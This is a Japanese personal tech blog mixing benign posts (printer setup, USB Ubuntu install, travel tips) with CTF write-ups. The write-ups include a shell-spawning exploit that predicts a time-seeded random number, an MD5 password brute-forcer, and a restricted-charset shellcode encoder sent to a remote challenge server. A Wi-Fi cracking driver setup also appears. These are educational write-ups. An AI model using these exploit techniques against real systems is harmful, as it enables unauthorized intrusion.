2022年2月1日火曜日

Linuxでラインプリンタを使う設定&印刷データ作成方法

 AS400で動いているシステムをLinux&Javaでリプレースする案件で、引き続きラインプリンタを使いたいとのことで、動くようにしてみた。

こんな記事書いて助かる人いるかどうかわからないけど一応書いとく。


使用するプリンタはリコーの Info Print 5400モデルF06 で、ドキュメントはネットで入手可能

調べたところAS400とはtelnet5250とかいうIBMローカルなプロトコルで通信しているが、lprもサポートしている。切り替えは実機いじってコンソールで設定変更。日本語コードは一応自動判別するらしいが、同様にSJISへ切替可能。

当然Linux用のドライバなんてない。で、どうやって設定・制御するかと言うと、結論から言ってしまえは、

ドライバはRow Printerにして、印字データはテキストのみ。制御コードはデータ中に含める

ということになる。


CUPSで新規登録する場合は、

LPD/LPR ホストまたはプリンター

・接続先:lpd://プリンタのIPアドレス/lp1

 このプリンタの場合、lp1〜lp4までキューがあって、lp1は改行\r\n、印字終了時改ページしない

・メーカー:Raw

・モデル:Raw Queue(en)

でおk。


印字開始位置は用紙によって手動でセッテイングを行うので、印字開始位置制御はしなくていいとして、

・初期化(コンソール使って設定した状態に戻す)

・1インチあたりの文字数、行数

・用紙サイズ

・改ページ

はデータの中に含める。


例えば、1インチあたり6行半角6文字で、用紙サイズ11インチに

「はろー、\r\nわーるど。」

と印字する場合、印刷するデータはユニコードにすると以下のようになる。


\u001B\u007E\u0001\u0000 (初期化)

\u001B\u007E\u0003\u0000\u0001\u003C (行ピッチ6lpi)

\u001B\u007E\u0002\u0000\u0001\u003C (文字ピッチ6cpi)

\u001B\u007E\u0004\u0000\u0002\u0001\u0042 (用紙長、\u0042は1ページ66行)

はろー、

\000D\000A (改行)

わーるど。

\000C (改ページ)


Java等のプログラムで上記のような印字データファイル作成して、あとはlprで流し込んでやればよい。

2021年9月13日月曜日

CSAW CTF 2021 Writeups(大したの解いてない)

CSAW CTF自体が大したことないというのは置いといて、

pwn haySTACK

$ nc pwn.chal.csaw.io 5002

すると、以下出力

Help! I have lost my favorite needle in one of my 4096 identical haystacks!

Unfortunately, I can't remember which one. Can you help me??

Which haystack do you want to check?

 バイナリをダウンロードしてBinaryNinjaで見てみたら、srand(time(null))した直後のrand()の戻り値を0x100000で割った余りと、入力値が一致したら/bin/shを動かすようになっていた。

なので、こちらもCで srand(time(null)); rand()した結果を送信して、その後lsとcat flag.txtを送信した。

$ nc -c "java B" pwn.chal.csaw.io 5002

210355

Help! I have lost my favorite needle in one of my 4096 identical haystacks!

Unfortunately, I can't remember which one. Can you help me??

Which haystack do you want to check?

210355

Hey you found a needle! And its number is 0x00001337! That's it!

flag.txt

haySTACK

flag{4lw4YS_r3m3mB3R_2_ch3CK_UR_st4cks}

-----

a.c
#include <stdlib.h>
#include <stdio.h>
#include <time.h>

int main(int argc, char *argv[]) {
  int a;
  srand(time(NULL));
  a = rand() % 0x100000;
  printf("%d\n", a);
}

B.java
import java.io.*;

public class B {

  public static void main(String args[]) {
    InputStreamReader isr = null;
    BufferedReader br = null;
    try {
      isr = new InputStreamReader(System.in, "UTF-8");
      br = new BufferedReader(isr);
      String line = null;
      String ans = guess();
      System.err.println(ans);
      for (int i = 0; i < 4; i++) {
        line = wait_line(br, "Which haystack do", null);
        System.out.println(ans);
        System.err.println(ans);
        line = wait_line(br, "Hey you", "Hey, you");
        if (line.startsWith("Hey you")) {
          System.out.println("ls");
          System.out.println("cat flag.txt");
          wait_line(br, "flag", null);
        } else {
          ans = guess();
          System.err.println(ans);
        }
      }
    } catch (Exception ex) {
      ex.printStackTrace();
    }
  }

  public static String wait_line(BufferedReader br, String q1, String q2)
    throws IOException {
    String line = null;
    while (true) {
      line = br.readLine();
      System.err.println(line);
      if (q1 != null && line.startsWith(q1))
        return line;
      if (q2 != null && line.startsWith(q2))
        return line;
    }
  }

  public static String guess() {
    try {
      Runtime rt = Runtime.getRuntime();
      Process p = rt.exec("./a");
      InputStream ism = p.getInputStream();
      InputStreamReader reader = new InputStreamReader(ism, "UTF-8");
      BufferedReader br = new BufferedReader(reader);
      return br.readLine();
    } catch (IOException ex) {
      ex.printStackTrace();
    }
    return null;
  }
}

-----


misc Weak Password
問題文はこう

Can you crack Aaron’s password hash? He seems to like simple passwords. I’m sure he’ll use his name and birthday in it. Hint: Aaron writes important dates as YYYYMMDD rather than YYYY-MM-DD or any other special character separator. Once you crack the password, prepend it with flag{ and append it with } to submit the flag with our standard format. Hash: 7f4986da7d7b52fa81f98278e6ec9dcb.

名前と日付くっつけてmd5してhashが一致すればおk。

最初現在日付からDateクラスなりCalendarクラスで1日ずつ過去にしてループしようと思ったけど、別に無効な日付で試しても問題ないので、2021年からhash一致するまで、月は12-1、日は31-1の3重ループにした。

$ java A

    :

Aaron19800323 286a6af3577736c8188403159f382fd8

Aaron19800322 0e5c5b6afda26100e4bcc8e0d8135714

Aaron19800321 7f4986da7d7b52fa81f98278e6ec9dcb

-----

A.java
import java.security.MessageDigest;

public class A {
  public static void main(String args[]) {
    try {
      MessageDigest md = MessageDigest.getInstance("MD5");
      for (int y = 2021; y > 0; y--) {
        String yyyy = String.format("%04d", y);
        for (int m = 12; m > 0; m--) {
          String mm = String.format("%02d", m);
          for (int d = 31; d > 0; d--) {
            String dd = String.format("%02d", d);
            String pass = "Aaron" + yyyy + mm + dd;
            byte[] result = md.digest(pass.getBytes());
            String md5 = String.format("%032x",
              new BigInteger(1, result));
            System.out.println(pass + " " + md5);
            if (md5.equals("7f4986da7d7b52fa81f98278e6ec9dcb"))
              System.exit(0);
          }
        }
      }
    } catch (Exception ex) {
      ex.printStackTrace();
    }
  }
}

-----


 

 

 

2020年2月3日月曜日

WindowsPC上で、UEFIブートのUbuntu(18.04.3)をUSBメモリにインストール

ここ数年、あちこちのマシン上にデュアルブートでUbuntuの環境作るの面倒になってきたので、USBメモリにUbuntuインストールして持ち歩いてます。
例えば、自宅のMacBook上で資料なりツールなり作っておいて、出先で持ち歩き用の11.6インチWindows PCで見せたり動かすとか。

そのUSBメモリを、内部ディスク等にWindowsがインストールされているPC上で作成すると、ブートローダがUSBメモリにインストールされません。WindowsのEFIパーティションにインストールされてしまいます。
なので、そのUSBメモリは他のPCでは起動できません。

内部ディスクを外してインストールできればいいんですが、ノートPCたど外すの面倒くさかったり保証受けられなくなったり、そもそもeMMCなんかだと直付けされてたりするので、なんとか付けたままでインストールしたい。

以下そのための手順です。デバイス名等はASUS Vivobook E200HAのもので、内蔵eMMCは/dev/mmcblk0でUSBメモリは/dev/sdaです。

  • インストールメディアからTry ubuntu without installingでシステムを立ち上げて、Install Ubuntu 18.04.3LTSを起動してインストール
----------------------------------------------------------------
インストールに関してはざっくり省略
----------------------------------------------------------------
  • 再起動前にTerminalを立ち上げ、UbuntuのEFIパーティション、WindowsのEFIパーティションをマウント
----------------------------------------------------------------
# mount /dev/sda1 /target/boot/efi
# mount /dev/mmcblk0p2 /mnt
----------------------------------------------------------------
  • ubuntuのブートローダーをWindowsのEFIパーティションからUbuntuのEFIパーティションへ移動
----------------------------------------------------------------
# mkdir /target/boot/efi/EFI
# cd /mnt/EFI
# mv ubuntu /target/boot/efi/EFI/
----------------------------------------------------------------
  • 一部のWindowsPCやMacではデフォルトのEFIブートローダー名じゃないと立ち上がらなかったりするので、デフォルト名のも作ります。
----------------------------------------------------------------
# cd /target/boot/efi/EFI
# cp -r ubuntu boot
# cd boot
# mv grubx64.efi bootx64.efi
----------------------------------------------------------------

  • ここで注意点ですが、boot/bootx64.efiで起動してもgrub.cnfファイルはubuntuの下のを参照するので、cpではなくmvするとgrub-shellでエラーになります。

  • /etc/fstabにEFIパーティションをマウントする記述があり、これもWindowsのものを参照しているので書き換えます。まずblkidコマンドでUbuntuのEFIパーティションのUUIDを調べて、/etc/fstabを書き換えます。
----------------------------------------------------------------
# blkid /dev/sda1
/dev/sdb1: UUID="C3C3-529C" TYPE="vfat" PARTUUID="e116e9b3-b110-4d0f-95d0-1e0fa76420c2"
# vi /etc/fstab
UUID=C3C3-529C  /boot/efi       vfat    umask=0077      0       1
----------------------------------------------------------------

以上で完了、PCの設定画面でUSBメモリの起動順を一番上にしてリブートすればUbuntuが立ち上がります。
このメモリをMacBookに挿して、起動後ALTでUSBメモリが出てきます。



2019年6月21日金曜日

2019 ウィーン・プラハ旅行ツール

2019年6月1日〜6月8日、ウィーン・プラハを旅行してきたので、その時利用したサイト、アプリ、デバイスについてまとめます。

  • 移動手段
今回久しぶりの海外旅行でしかもヨーロッパ内で国境をまたがる移動があるので、移動手段と宿泊は旅行会社、旅工房のツアーを利用した。
- 成田・ウィーン間:フィンエアー、ヘルシンキ経由
- ウィーン・プラハ間:Railjet
- プラハ・成田間:フィンエアー、ヘルシンキ経由

  • SIM
今回現地での通信手段は3つ用意した。
- Wi-Ho!SIMヨーロッパ周遊5G
 結局1.7Gしか使わなかった(IPadのモバイルデータ通信の統計情報で確認)
 このSIMには残量確認サービスはない。ヘルシンキでの乗り換え時間に設定した。
- JetPhone
 同伴者が利用、ヘルシンキでの乗り換え時間にAspire LoungeのフリーWifiに繋ぎ、ヨーロッパ周遊のクラウドSIMを購入した。
- AppleSIM
 アップル銀座で540円で購入。Wi-Ho!SIMが余りすぎたので結局使わなかった。

  • PDFチケット、路線図等の保存、共有方法
Googleドライブを使用した。
すべてのPDFをPCでドライブにアップロード、同伴者と共有、スマホで表示確認後、「オフラインで使用可」にした。


チケット類はデバイス表示NGの場合に備え、一通り紙に印刷したものも用意した

  • 飛行機のチェックイン
フィンエアーはWEBサイトで搭乗時刻36時間前からオンラインチェックインが可能。
https://www.finnair.com/jp/jp/
アプリからもできるらしい。
https://www.finnair.com/jp/jp/mobile-app
自分でユーザ登録、フィンエアープラス会員になっておけばマイルを貯められる。
旅行会社から「Eチケットお客様控え」が送られてくるので、これに書かれている予約番号と姓を「予約の管理」で入力すれば往復ともアカウントに紐付けられる。
最初の便の36時間前になるとチェックイン可能、座席指定して搭乗券が送られてくる。メール等でPDFで受け取れるが、チェックインすればアプリにも搭乗券が表示されるようになる。


乗り継ぎ便の座席指定もこのタイミングでできるようになり、同様に搭乗券が手に入る。
同乗者がいる場合には、同乗者の搭乗券も表示される。
今回は同乗者はフィンエアーのアプリを用意していなかったので、自分のアカウントで複数のスマホでログイン、それぞれの搭乗券を表示させて搭乗した。
旅行会社からの案内には空港でチェックインしろと書かれていたが無視。

  • ウィーン交通局のチケット
72時間フリーチケット等はアプリで購入できる。アプリで使用開始時間を指定し、チェック時はこれをアプリで表示して見せれば良い。ネットワークに繋がっていないと起動できない。
WienMobil App
購入時、使用開始時間を指定する。デフォルト開始時間はスマホの現在日時となるようなので、ウィーン到着後タイムゾーンの調整をせず、デフォルト開始時間で購入すると開始時間が日本時間(未来日付)になるのでこの点は注意(やっちまった)。


チェック時氏名と写真入りのIDカードを見せる必要ありとのことだが、一度もチェックされなかった。
WienMobil App FAQ

  • プラハ市内交通局のチケット
72時間フリーチケット等はアプリで購入できる。利用前にアプリでチケットを有効化し、チェック時はこれをアプリで表示して見せれば良い。
PID Lítačka


チケットを有効化しないで乗車し、チェック時にしれっと有効化するという手口対策で、有効化後2分間は赤く表示され無効になっているので、有効化されたのを確認してから乗る。

  • ウィーン・プラハ間の移動
railjetで移動。乗車券と指定席券は別。2等指定席を旅行会社でおさえていたが、4人席で他の乗客と向かい合う席だったので、指定席だけ自分で取り直した。ÖBBのサイトで購入可能。
https://www.oebb.at/
乗車券は旅行会社から送られてきたものを持参、指定席はPDFを印刷した。
国境を超える場合は印刷必要とあったため。


座席予約時taurusが先頭車両と思い、進行方向に向かう席を取ったつもりが逆だった。
ただ、乗車時座席にreservedを示す乗車区間の表示が出ていたがその後確認したら消えていたので、発車してしまえば空いている席に移動しても誰も困らないかも知れない(自分が予約した席に他の人が座れる)。

  • 楽友協会のコンサートチケット
公式サイトで日本語で購入可能、2月中に席を押さえた。
https://www.musikverein.at/ja/programme
チケットはメールでPDFで送られてくる。これをスマホで表示させればよい。


  • シシィチケット
シシィチケットはシェーンブルン宮殿・旧王宮・王宮家具博物館に入場でき、事前に日本で購入可能。シェーンブルン宮殿の列がひどいらしいので事前に購入、
https://www.imperialtickets.com/en/schoenbrunn-palace/sisi-ticket/53?_locale=en
メールでチケットPDFを表示するURLが送られてくるのでこれを保存、スマホで表示しゲートにかざせばよい。


  • 楽友協会のガイドツアー
公式サイトで日本語で購入可能。
https://www.musikverein.at/ja/guided-tours
チケット窓口(建物に向かって左側のKONZERTKASSA)で購入完了メールをスマホで見せてチケットをもらう。


  • 美術史美術館のチケット
一応事前に購入可能。
http://shop.khm.at/en/tickets/
大して混まないだろうと思い、現地で買った。有人窓口は混んでいるが近くにカードで購入できる券売機があり、そちらは人が並んでいなかった。


  • 市民会館のコンサートチケット
公式サイトで購入可能、2月中に席を押さえた。
http://www.obecnidum.cz/en/concerts/
チケットはメールでPDFで送られてくる。スマホで表示でも行けたかもしれないが、紙に印刷したものを会場で見せた(なんとなく)。


  • 市民会館のガイドツアー
事前に購入可能。
http://www.obecnidum.cz/en/tours/
毎日複数回やっていて、残数が少ないのを見たことがないので現地で購入した。


  • ルドルフィヌムのガイドツアー
ツアー申し込み時まだチェコフィルのコンサートチケットが取れる状態だったが、ドレスコードフォーマルということで今回の目標、最少荷物で済ます、に反するので断念し、代わりにガイドツアーを申し込んだ。事前にメールで予約が必要。
https://www.rudolfinum.cz/en/tours/
日にちが限られているので、運良く日程があえば参加可能。
予約確認メールが送られてくるので、それをボックスオフィス(建物に向かって右側)で見せてチケットを購入する。カード可。

コンサートのスケジュールはこっち。
https://www.rudolfinum.cz/en/concert-schedule/

2018年4月26日木曜日

Blaze CTF 2018 shellcodeme(+hard) writeups

入力した文字列をそのままバイナリコードとして実行してやるけど、コードのバイトパターンは7種類までな。という問題でした。ご丁寧にソースコード付き。
// gcc -zexecstack -Os shellcodeme.c -o shellcodeme
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define BUF_SIZE (0x4096 & ~(getpagesize()-1))

int main() {
    setbuf(stdout, NULL);
    unsigned char seen[257], *p, *buf;
    void (*f)(void);
    memset(seen, 0, sizeof seen);
    buf = mmap(0, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    puts("Shellcode?");
    fgets(buf, BUF_SIZE, stdin);
    fflush(stdin);
    for(p=buf; *p != '\n'; p++) {
        seen[256] += !seen[*p];
        seen[*p] |= 1;
    }
    if(seen[256] > 7) {
        puts("Shellcode too diverse.");
        _exit(1);
    } else {
        *(void**)(&f) = (void*)buf;
        f();
        _exit(0);
    }
}
 checksecはこう。
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments
さすがにshellcraft.sh()で生成したコードじゃ7種類とか無理なので、
  • レジスタ上で8バイトずつシェルコード構築
  • 8バイトずつスタックに積む(push rax)
  • 全部組み上がったところでスタックの先頭にジャンプ(jmp rsp)
という方針で考えてみました。

が、最初既出コードをaddしてシェルコード組もうとしても、
add レジスタ 値
の場合、値の部分は32bitまでで、pushが64bit単位だったりとなかなかうまくいかず
最終的にインクリメント(inc rax)とシフト(shl rax 1)でシェルコード生成、push rax、jmp rspの組み合わせだと7種類で収まるとわかりました。
inc rax = 48 D1 E0
shl rax 1 = 48 FF C0
push rax = 50
jmp rsp = FF E4
というわけで、解答コードは以下。
https://github.com/minetosh/ctf/tree/master/2018/BlazeCTF
from pwn import *

context(os='linux', arch='amd64')

def makesh(val):
    base = 2 ** 63
    code = ''
    for i in range(64):
        code += 'shl rax, 1\n'
        if (val / base > 0):
            code += 'inc rax\n'
            val -= base
        base /= 2
    return code

shcode = asm(shellcraft.sh())
stack = ''
for i in range((len(shcode) + 7) / 8):
    sub8 = shcode[i * 8:(i + 1) * 8]
    for j in range(len(sub8), 8):
        sub8 += '\x00'
    stack = makesh(u64(sub8)) + 'push rax\n' + stack

stack += 'jmp rsp\n'

# r = process('./shellcodeme')
r = remote('shellcodeme.420blaze.in', 420)
r.sendlineafter('Shellcode?\n', asm(stack))
r.interactive()
shellcodeme_hardもバイナリよく見ないでこのコード流したら解けました。
自分の中ではこの方法しかないだろ的に思っていたところ、他の人のwriteupは全部方法が違っていて面白いなーと。

2018年4月10日火曜日

Ubuntu(16.04LTS)でskypeの自動起動を停止する方法

使う必要があってskype起動する度、使用後自動起動の停止方法をググるものの、日本語のページが引っかからないのでメモ。

$ rm ~/.config/autostart/skypeforlinux.desktop

2017年7月12日水曜日

ゲストOSのKali Linux上のaircrack-ngで802.11ac対応のUSBwifiを使いたい(長い)

VMwareもVirtualBoxもUSBパススルーができるので、aircrack-ng対応のUSBwifiトングルがあればゲストOSのKali Linuxでもaircrack-ngが使えます。これは既知。
しかしaircrack-ngが使えるUSBトングルwifiで検索かけるとb/g/n対応までのしか出てきません。
http://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles-2016.html

定番のAtherosチップでac対応のUSBないかとamazonで探しても出てきてくれません。

あれこれ検索かけて試行して、なんとかできる子(ac対応USBトングル)を見つけました。
https://www.planex.co.jp/products/gw-900d/
これチップセットがRealtek RTL8812AUってので、
https://www.planex.co.jp/support/taiou/kisyu/developer_wifiusb.shtml
このチップセットのモニターモードサポートしているドライバがgithub上で公開されています。
https://github.com/astsam/rtl8812au


# apt update
# apt dist-upgrade
# apt install linux-headers-$(uname -r)


くらいはやってある前提で以下手順。


# git clone https://github.com/astsam/rtl8812au.git
# cd rtl8812au
# make
# make install


で、リブート。